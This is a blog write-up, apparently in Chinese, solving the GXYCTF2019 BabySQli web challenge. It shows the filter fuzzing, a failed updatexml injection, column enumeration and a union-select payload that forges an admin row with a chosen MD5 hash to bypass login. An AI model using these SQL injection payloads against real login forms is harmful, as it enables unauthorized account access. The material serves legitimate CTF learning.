【BUUCTF-Web】[GXYCTF2019]BabySQli

Subject

SQL Fuzz


Mind Palace

回显:do not hack me ==> 有过滤机制 ==> fuzz一下看看有什么是被过滤的了

OR updatexml 没有被过滤 ==> 尝试报错注入

admin' OR updatexml(1,database(),1);# ==> 失败 

左右括号被过滤了

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
所以这是个啥emm;在线网站解密失败 

这里的一串注释的内容意义不明;;base32/64? or md5?

不过通过回显知道了username = admin

1' order by 3(1,2,3,4..) ==> 判断出有三列

1' union select 1,2,3;# ==> wrong user
1' union select 'admin',2,3;# ==> wrong user
1' union select 1,'admin',3;# ==> wrong pass!

说明第二个字段就是username字段;猜测第一个是id 第三个是password 

而且通过知道了admin为username的情况下也没有能绕过什么的1' OR 1 <> 2;# 说明username和password是分开判断的 ==> username判断成功后还需要再单独判断password是否是正确的

猜测的代码
$pass = $_POST['pw'];
if ($_POST['name'] == 'admin') {if ($_POST['pw'] == md5($pass)) {echo $flag;}
} 
username = 1' union select 1,'admin','md5(eclipse)';#
md5(eclipse) => 6b7b655dd22faa3f10677c512493a8a0
password = eclipse

登陆后获得flag 

Look Ahead

通过回显猜测代码


MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
这里肯定是提示 ==> 查询后得知是base32解+base64解码 
encoded_txt = "MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5"
print(base64.b64decode(base64.b32decode(encoded_txt)))

==> Output:
b"select * from user where username = '$name'" 

根据源码提示知道查询正常情况下是这样的:

之后再拿查询出来的pw和用户POST的pw的md5加密的值进行比较;由此在知道了1,2,3列回显情况后,可以构造如下payload:

输入的密码为text即可得到flag值


END (*≧∪≦)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值